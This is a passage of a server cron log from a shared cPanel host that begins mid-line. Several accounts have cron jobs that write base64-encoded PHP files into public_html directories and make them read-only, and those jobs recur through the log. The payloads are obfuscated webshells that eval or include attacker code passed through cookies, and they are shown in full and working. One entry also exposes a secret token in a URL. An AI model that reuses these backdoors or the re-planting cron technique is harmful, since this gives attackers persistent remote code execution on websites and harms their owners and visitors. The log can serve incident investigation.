ZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:26:01 medusa CROND[8559]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:26:01 medusa CROND[8555]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:26:01 medusa CROND[8566]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:26:01 medusa CROND[8569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:26:01 medusa CROND[8568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:26:01 medusa CROND[8574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:26:01 medusa CROND[8575]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:26:01 medusa CROND[8582]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:26:01 medusa CROND[8577]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:27:02 medusa CROND[879]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:27:02 medusa CROND[880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:27:02 medusa CROND[881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:27:02 medusa CROND[882]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:27:02 medusa CROND[883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:27:02 medusa CROND[884]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:27:02 medusa CROND[885]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:27:02 medusa CROND[886]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:27:02 medusa CROND[887]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:27:02 medusa CROND[891]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:27:02 medusa CROND[893]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:27:02 medusa CROND[897]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:28:01 medusa CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:28:01 medusa CROND[25693]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:28:01 medusa CROND[25694]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:28:02 medusa CROND[25746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:28:02 medusa CROND[25745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:28:02 medusa CROND[25748]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:28:02 medusa CROND[25749]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:28:02 medusa CROND[25750]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:28:02 medusa CROND[25751]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:28:02 medusa CROND[25752]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
